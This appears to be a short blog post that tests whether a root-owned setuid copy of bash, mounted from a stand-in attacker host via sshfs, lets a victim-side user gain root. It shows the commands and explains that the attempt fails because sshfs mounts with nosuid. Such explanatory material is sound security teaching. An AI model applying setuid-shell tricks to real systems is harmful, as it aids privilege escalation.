Have you ever wondered if you could leverage sshfs and the suid flag to run any program as root? Well, the idea is simple. You prepare an executable on a server under your control. The file should be owned by root and the suid flag shout be set. When the containing directory is mounted on the target machine via sshfs, you have the prepared file owned by root with the suid flag set, so the program should run as root. Right? Let’s see how it goes.

root@attacker$ cp /bin/bash /var/test/root_bash
root@attacker$ chmod +s /var/test/root_bash
root@attacker$ ls -l /var/test/root_bash
-rwsr-sr-x 1 root root 1037528 Nov  6 21:23 /var/test/root_bash
root@attacker$ su adam # let's see if it works
adam@attacker$ /var/test/root_bash -p
root_bash-4.3$ id
uid=1000(adam) gid=1000(adam) euid=0(root) egid=0(root) groups=...

The effective user and group show that we are in fact root. The -p option is required for bash because otherwise, it restores the original user id. So let’s mount it on the target machine.

mallory@victim$ mkdir test
mallory@victim$ sshfs attacker.example.com:/var/test test
mallory@victim$ ls -l test/root_back
-rwsr-sr-x 1 root root 1037528 Nov  6 21:23 root_bash
mallory@victim$ test/root_bash -p
mallory@victim$ id
uid=1000(mallory) gid=1000(mallory) groups=...

The prompt didn’t change to root_bash-4.3$ and there is no effective user id? We are not able to do anything that requires root permission. What went wrong?

The answer is simple. When sshfs mounted the remote directory it used the flag nosuid. This flag tells the kernel to ignore any suid flags on this file system in order to prevent this type of attack. You can have a look at all mount points that ignore suids.

mallory@victim$ mount | grep nosuid
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
attacker.example.com:/var/test on /home/mallory/test type fuse.sshfs (rw,nosuid,nodev,relatime,user_id=1000,group_id=1000)

The same precaution is usually taken when you plug in a USB drive.